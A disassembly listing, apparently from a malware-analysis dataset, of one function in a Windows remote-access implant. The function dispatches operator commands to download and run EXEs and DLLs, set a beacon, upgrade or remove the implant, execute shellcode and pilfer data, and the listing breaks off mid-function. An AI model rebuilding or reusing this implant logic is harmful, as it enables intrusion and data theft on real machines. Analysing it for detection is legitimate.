Function at 0x14000806c
Capabilities:
Move file
Print debug messages

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
movaps xmmword [r11 - 0x38], xmm6
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x38], rdx
mov rdi, rcx
mov qword [r11 - 0x148], rcx
mov qword [rsp + 0x50], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x420], xmm0
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x430], xmm1
lea rdx, [r11 - 0x118]
lea rcx, str.command:__s
call fcn.140002a14
mov r14d, r12d
mov r9d, r12d
mov dword [rsp + 0x30], r12d
mov rcx, qword [rdi + 0x10]
mov r8d, r12d
lea esi, [r12 + 8]
lea ebx, [rsi - 6]
lea r13d, [r12 + 1]
test rcx, rcx
je 0x140008134
mov edx, r12d
mov rax, rdi
cmp qword [rdi + 0x18], rsi
jb 0x140008117
mov rax, qword [rdi]
cmp word [rdx + rax], 0x26
jne 0x140008121
add r9d, r13d
add r8d, r13d
add rdx, rbx
movsxd rax, r8d
cmp rax, rcx
jb 0x14000810b
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x480], r12
mov qword [rsp + 0x490], r12
mov eax, 7
mov qword [rsp + 0x498], rax
mov word [rsp + 0x480], r12w
mov qword [rsp + 0x460], r12
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x478], rax
mov word [rsp + 0x460], r12w
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x408], r12
mov qword [rsp + 0x410], rax
mov word [rsp + 0x3f8], r12w
mov rax, rdi
cmp qword [rdi + 0x18], rsi
jb 0x1400081a8
mov rax, qword [rdi]
test rcx, rcx
je 0x1400081c3
mov r15, rax
cmp word [r15], 0x26
je 0x14000866b
add r15, rbx
sub rcx, r13
jne 0x1400081b0
or r15, 0xffffffffffffffff
movsxd rax, r15d
mov qword [rsp + 0x40], rax
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
cmp qword [rax + 0x18], rsi
jb 0x1400081ee
mov rax, qword [rax]
mov rcx, rax
call fcn.14001b9f8
movsxd r12, eax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov r9, qword [rdi + 0x10]
sub r9, qword [rsp + 0x40]
movsxd r8, r15d
add r8, r13
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov r15, rax
cmp rdi, rax
je 0x140008257
mov rcx, rdi
call fcn.1400025b8
movups xmm0, xmmword [r15]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rdi + 0x10], xmm1
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
mov word [r15], ax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
lea rcx, str._____command:
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x14000827d
mov rcx, qword [rdi]
lea rcx, [rcx + r12*2]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x140008293
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x1400082b2
mov r15, rcx
cmp word [r15], 0x26
je 0x14000867f
add r15, rbx
sub rax, r13
jne 0x14000829f
or r15, 0xffffffffffffffff
movsxd rax, r15d
mov qword [rsp + 0x40], rax
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
nop
cmp qword [rax + 0x18], rsi
jb 0x1400082de
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x3f8]
call fcn.1400024b8
nop
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov r9, qword [rdi + 0x10]
sub r9, qword [rsp + 0x40]
movsxd r8, r15d
add r8, r13
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov r15, rax
cmp rdi, rax
je 0x14000834d
mov rcx, rdi
call fcn.1400025b8
movups xmm0, xmmword [r15]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rdi + 0x10], xmm1
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
mov word [r15], ax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x140008366
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140008385
mov r15, rcx
cmp word [r15], 0x26
je 0x140008693
add r15, rbx
sub rax, r13
jne 0x140008372
or r15, 0xffffffffffffffff
movsxd rax, r15d
mov qword [rsp + 0x60], rax
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x480]
cmp rcx, rax
je 0x1400083f3
lea rcx, [rsp + 0x480]
call fcn.1400025b8
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x480], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x490], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov r9, qword [rdi + 0x10]
sub r9, qword [rsp + 0x60]
movsxd r8, r15d
add r8, r13
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov r15, rax
cmp rdi, rax
je 0x140008451
mov rcx, rdi
call fcn.1400025b8
movups xmm0, xmmword [r15]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rdi + 0x10], xmm1
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
mov word [r15], ax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x14000846a
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140008489
mov r15, rcx
cmp word [r15], 0x26
je 0x1400086a7
add r15, rbx
sub rax, r13
jne 0x140008476
or r15, 0xffffffffffffffff
movsxd rax, r15d
mov qword [rsp + 0x40], rax
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x460]
cmp rcx, rax
je 0x1400084f7
lea rcx, [rsp + 0x460]
call fcn.1400025b8
mov rax, qword [rsp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x460], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x470], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov r9, qword [rdi + 0x10]
sub r9, qword [rsp + 0x40]
movsxd r8, r15d
add r8, r13
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
mov r15, rax
cmp rdi, rax
je 0x140008555
mov rcx, rdi
call fcn.1400025b8
movups xmm0, xmmword [r15]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rdi + 0x10], xmm1
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
mov word [r15], ax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
mov rdx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x14000856e
mov rdx, qword [rdi]
mov rcx, qword [rdi + 0x10]
xor r8d, r8d
test rcx, rcx
je 0x14000858f
mov rax, rdx
cmp word [rax], 0x26
je 0x1400086bb
add rax, rbx
sub rcx, r13
jne 0x14000857d
or rax, 0xffffffffffffffff
movsxd r9, eax
lea rdx, [rsp + 0x420]
mov rcx, rdi
call fcn.14000d1d0
cmp qword [rax + 0x18], rsi
jb 0x1400085af
mov rax, qword [rax]
mov rcx, rax
call fcn.14001b9f8
mov r15d, eax
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
cmp dword [rsp + 0x30], 6
je 0x140008637
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x14004498c]
mov rcx, qword [rsp + 0x38]
call fcn.1400063a8
mov ebx, eax
lea rcx, [rsp + 0x3f8]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x460]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x480]
call fcn.1400025b8
nop
mov rcx, rdi
call fcn.1400025b8
mov eax, ebx
jmp 0x140009a66
xor eax, eax
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], 7
mov word [rsp + 0x440], ax
test r12d, r12d
jne 0x1400086cf
lea r14d, [rax + 0xa]
jmp 0x140009a14
test r15, r15
je 0x1400081c3
sub r15, rax
sar r15, 1
jmp 0x1400081c7
test r15, r15
je 0x1400082b2
sub r15, rcx
sar r15, 1
jmp 0x1400082b6
test r15, r15
je 0x140008385
sub r15, rcx
sar r15, 1
jmp 0x140008389
test r15, r15
je 0x140008489
sub r15, rcx
sar r15, 1
jmp 0x14000848d
test rax, rax
je 0x14000858f
sub rax, rdx
sar rax, 1
jmp 0x140008593
cmp r12d, r13d
jne 0x140008856
lea rcx, str.Action:_execute_EXE
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rax, [rsp + 0x420]
mov qword [rsp + 0x50], rax
xor r14d, r14d
mov qword [rsp + 0x420], r14
mov qword [rsp + 0x430], r14
mov qword [rsp + 0x438], r14
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x420]
call fcn.1400027d0
nop
mov qword [rsp + 0x4c0], r14
mov qword [rsp + 0x4d0], r14
mov qword [rsp + 0x4d8], r14
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x4c0]
call fcn.1400027d0
nop
mov r9d, r15d
lea r8, [rsp + 0x420]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x4a0]
call fcn.1400059c0
mov rbx, rax
lea rax, [rsp + 0x440]
cmp rax, rbx
je 0x1400087b5
lea rcx, [rsp + 0x440]
call fcn.1400025b8
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x440], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x450], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
lea rcx, [rsp + 0x4a0]
call fcn.1400025b8
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rcx, qword [rsp + 0x460]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x440]
cmp qword [rsp + 0x458], rsi
cmovae rcx, qword [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [rsp + 0x440]
cmp qword [rsp + 0x458], rsi
cmovae rdx, qword [rsp + 0x440]
jmp 0x140008fe4
cmp r12d, ebx
jne 0x1400089c7
lea rcx, str.Action:_Download_and_execute_EXE
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
mov r14, qword [rsp + 0x38]
mov r8, r14
call fcn.1400061bc
xor r12d, r12d
test eax, eax
jne 0x140008c11
lea rax, [rsp + 0x420]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x420], r12
mov qword [rsp + 0x430], r12
lea r13d, [r12 + 7]
mov qword [rsp + 0x438], r13
lea rdx, [0x140043a48]
lea rcx, [rsp + 0x420]
call fcn.1400024b8
nop
mov qword [rsp + 0x4c0], r12
mov qword [rsp + 0x4d0], r12
mov qword [rsp + 0x4d8], r12
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x4c0]
call fcn.1400027d0
nop
mov r9d, r15d
lea r8, [rsp + 0x420]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x4a0]
call fcn.1400059c0
mov rbx, rax
lea rax, [rsp + 0x440]
cmp rax, rbx
je 0x140008983
lea rcx, [rsp + 0x440]
call fcn.1400025b8
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x440], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x450], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r13
mov word [rbx], r12w
lea rcx, [rsp + 0x4a0]
call fcn.1400025b8
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [rsp + 0x440]
cmp qword [rsp + 0x458], rsi
cmovae rdx, qword [rsp + 0x440]
jmp 0x140008c31
cmp r12d, 3
jne 0x140008a91
lea rcx, [0x140044a08]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
mov rbx, qword [rsp + 0x38]
mov r8, rbx
call fcn.1400061bc
test eax, eax
jne 0x140008a69
lea rdx, [0x140044340]
lea rcx, [rsp + 0x440]
call fcn.1400024b8
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [rsp + 0x440]
cmp qword [rsp + 0x458], rsi
cmovae rdx, qword [rsp + 0x440]
jmp 0x140008a89
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x140044a04]
mov rcx, rbx
jmp 0x140008fe9
cmp r12d, 4
jne 0x140008c39
lea rcx, str.Action:_Download_and_execute_DLL
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
mov r14, qword [rsp + 0x38]
mov r8, r14
call fcn.1400061bc
xor r12d, r12d
test eax, eax
jne 0x140008c11
movdqa xmm0, xmmword [0x140044fc0]
movdqu xmmword [rsp + 0x4c0], xmm0
movdqa xmm1, xmmword [0x140045070]
movdqu xmmword [rsp + 0x4d0], xmm1
mov dword [rsp + 0x4e0], 0x11
mov dword [rsp + 0x4e4], 0x60
mov dword [rsp + 0x4e8], 0x63
lea r8d, [r12 + 0xb]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x420]
call fcn.140005870
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x140008b5c
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x460]
call fcn.14000261c
nop
lea rcx, [rsp + 0x420]
call fcn.1400025b8
lea rax, [rsp + 0x420]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x420], r12
mov qword [rsp + 0x430], r12
mov qword [rsp + 0x438], r12
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x420]
call fcn.1400027d0
nop
mov qword [rsp + 0x4c0], r12
mov qword [rsp + 0x4d0], r12
mov r13d, 7
mov qword [rsp + 0x4d8], r13
lea rdx, str.rundll32.exe
lea rcx, [rsp + 0x4c0]
call fcn.1400024b8
nop
mov r9d, r15d
lea r8, [rsp + 0x420]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x4a0]
call fcn.1400059c0
mov rbx, rax
jmp 0x140008946
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x140044a04]
mov rcx, r14
jmp 0x140008fe9
cmp r12d, 5
jne 0x140008c98
lea rcx, str.Action:_set_CBtime
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
call fcn.140006bc4
lea r8, [rsp + 0x3f8]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x140008ccb
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x140044340]
jmp 0x140008fe9
cmp r12d, 0x15
jne 0x140008ce8
lea rcx, str.Action:_set_BEACON
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
call fcn.140006bf0
jmp 0x140008c6a
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x14004474c]
jmp 0x140008fe9
cmp r12d, 6
jne 0x140008ea1
lea rcx, str.Action:_upgrade_implant
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
mov r15, qword [rsp + 0x38]
mov r8, r15
call fcn.1400061bc
xor r12d, r12d
test eax, eax
jne 0x140008e79
lea rax, [rsp + 0x420]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x420], r12
mov qword [rsp + 0x430], r12
mov qword [rsp + 0x438], 7
lea rdx, [0x140043a48]
lea rcx, [rsp + 0x420]
call fcn.1400024b8
nop
mov qword [rsp + 0x4c0], r12
mov qword [rsp + 0x4d0], r12
mov qword [rsp + 0x4d8], r12
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x4c0]
call fcn.1400027d0
nop
mov r9d, dword [rsp + 0x40]
lea r8, [rsp + 0x420]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x4a0]
call fcn.1400059c0
mov r14, rax
lea rax, [rsp + 0x440]
cmp rax, r14
je 0x140008e1d
lea rcx, [rsp + 0x440]
call fcn.1400025b8
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x440], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x450], xmm1
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 7
mov word [r14], r12w
lea rcx, [rsp + 0x4a0]
call fcn.1400025b8
lea rcx, [rsp + 0x440]
cmp qword [rsp + 0x458], rsi
cmovae rcx, qword [rsp + 0x440]
cmp qword [rsp + 0x450], r13
jne 0x140008e70
mov r8, r13
lea rdx, [0x140044578]
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x140008e70
add rcx, rbx
add rdx, rbx
sub r8, r13
je 0x140009a98
jmp 0x140008e57
lea rdx, [0x140044574]
jmp 0x140008e80
lea rdx, [0x140044a04]
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
mov rcx, r15
jmp 0x140008fe9
cmp r12d, 7
jne 0x140008fbf
lea rcx, str.Action:_remove_implant
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, 0x20a
call fcn.140010328
mov rbx, rax
xor edx, edx
mov r8d, 0x105
mov rcx, rax
call fcn.1400134d0
call fcn.1400017e4
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r15d, [r12 - 3]
mov r8d, r15d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov r8d, r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r12, rax
lea r14d, [r15 + 6]
test rax, rax
je 0x140008f6d
mov r8d, r14d
lea rdx, [0x14004bd28]
lea rcx, [rsp + 0x420]
call fcn.140005870
cmp qword [rax + 0x18], rsi
jb 0x140008f37
mov rax, qword [rax]
mov r8d, r15d
mov rdx, rax
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
lea rcx, [rsp + 0x420]
call fcn.1400025b8
xor eax, eax
mov r15d, eax
test rbx, rbx
sete r15b
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140008f70
mov r15d, r13d
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test r15d, r15d
jne 0x140009abf
cmp dword [0x14004e1d0], r13d
jne 0x140009abf
mov r8d, r14d
lea rdx, [0x14004bd28]
lea rcx, [rsp + 0x4c0]
call fcn.140005870
mov rcx, rax
call fcn.140001960
test eax, eax
je 0x140009abf
lea rdx, [0x140044b58]
jmp 0x140008fcb
cmp r12d, esi
jne 0x140008ff6
lea rdx, [0x140044b60]
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x38]
call fcn.1400063a8
mov r14d, eax
jmp 0x140009a14
cmp r12d, 9
jne 0x14000900e
lea rcx, str.Action:_execute_shellcode
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x140009a14
mov r14d, 0x16
cmp r12d, r14d
jne 0x140009997
lea rcx, str.Action:_pilfer_data
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x290]
call fcn.14000c21c
nop
lea rax, [0x1400440d8]
mov qword [rsp + 0x180], rax
xor r12d, r12d
mov qword [rsp + 0x230], r12
mov qword [rsp + 0x258], r12
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x260], xmm0
mov dword [rsp + 0x30], r13d
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x228], rax
mov dword [rsp + 0x224], 0x98
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x228]
call fcn.14000e41c
nop
mov rax, qword [rsp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x180], rax
mov rax, qword [rsp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x17c], edx
lea rcx, [rsp + 0x188]
call fcn.14000daf0
nop
lea r8d, [r14 + 0xc]
lea rcx, [rsp + 0x188]
call fcn.14000d9e4
test rax, rax
jne 0x140009120
mov rax, qword [rsp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x180]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
nop
mov dword [rsp + 0x5c], 0x1000000
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x50]
call fcn.140005304
cmp qword [rsp + 0x320], r12
je 0x14000917a
lea rcx, [rsp + 0x2a0]
call fcn.14000d844
neg al
sbb r15, r15
lea rax, [rsp + 0x2a0]
and r15, rax
mov rcx, qword [rsp + 0x320]
call fcn.14001bf6c
test eax, eax
je 0x14000917d
mov r15, r12
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x2a0]
call fcn.14000d90c
test r15, r15
jne 0x1400091b8
mov rax, qword [rsp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x290]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
cmp qword [rsp + 0x208], r12
je 0x1400091f0
lea rcx, [rsp + 0x188]
call fcn.14000d844
neg al
sbb r15, r15
lea rax, [rsp + 0x188]
and r15, rax
mov rcx, qword [rsp + 0x208]
call fcn.14001bf6c
test eax, eax
je 0x1400091f3
mov r15, r12
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x188]
call fcn.14000d90c
test r15, r15
jne 0x14000922e
mov rax, qword [rsp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x180]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
lea rax, [0x140043fc0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x128], r12
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x160], r12
mov dword [rsp + 0x30], 5
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x11c], 0x98
mov qword [rsp + 0x78], r12
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x120]
call fcn.14000e41c
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x80]
call fcn.14000daf0
nop
mov r8d, 0x21
lea rcx, [rsp + 0x80]
call fcn.14000d9e4
test rax, rax
jne 0x140009300
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
nop
mov rax, qword [rsp + 0x70]
movsxd rdx, dword [rax + 4]
mov ecx, dword [rsp + rdx + 0x80]
mov rax, qword [rsp + rdx + 0xb8]
neg rax
sbb r8d, r8d
not r8d
and r8d, 4
and ecx, 0xfffffffe
or r8d, ecx
and r8d, 0x17
mov dword [rsp + rdx + 0x80], r8d
and r8d, dword [rsp + rdx + 0x84]
jne 0x140009ae8
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rsp + rcx + 0xb8]
test rcx, rcx
je 0x14000936c
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.14000e3d0
mov byte [rsp + 0x58], al
mov rcx, qword [rsp + 0x70]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x80], 6
jne 0x1400093e7
mov rcx, qword [rsp + rax + 0xb8]
mov rax, qword [rcx]
mov dword [rsp + 0x20], r13d
mov r9d, ebx
xor r8d, r8d
lea rdx, [rsp + 0x4a0]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x4a8]
add rcx, qword [rsp + 0x4a0]
cmp rcx, 0xffffffffffffffff
jne 0x1400093e2
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
mov rcx, qword [rsp + 0x70]
movsxd rax, dword [rcx + 4]
mov rdx, qword [rsp + rax + 0xb8]
test rdx, rdx
je 0x140009406
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rcx + 4]
mov rcx, qword [rsp + rax + 0xb8]
test rcx, rcx
je 0x140009428
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.14000e3d0
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x80], 6
jne 0x14000947e
mov rcx, qword [rsp + rcx + 0xb8]
mov rax, qword [rcx]
mov dword [rsp + 0x20], r13d
mov r9d, r13d
xor r8d, r8d
lea rdx, [rsp + 0x4a0]
call qword [rax + 0x50]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rsp + rcx + 0xb8]
jmp 0x14000949e
or qword [rsp + 0x4a0], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x4a8], xmm0
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + rax + 0xb8]
test rcx, rcx
je 0x1400094aa
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov r15d, dword [rsp + 0x4a0]
add r15d, dword [rsp + 0x4a8]
xorps xmm6, xmm6
xor eax, eax
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x70]
movsxd rdx, dword [rax + 4]
mov ecx, dword [rsp + rdx + 0x80]
mov rax, qword [rsp + rdx + 0xb8]
neg rax
sbb r8d, r8d
not r8d
and r8d, 4
and ecx, 0xfffffffe
or r8d, ecx
and r8d, 0x17
mov dword [rsp + rdx + 0x80], r8d
and r8d, dword [rsp + rdx + 0x84]
jne 0x140009b3a
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rsp + rcx + 0xb8]
test rcx, rcx
je 0x140009533
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
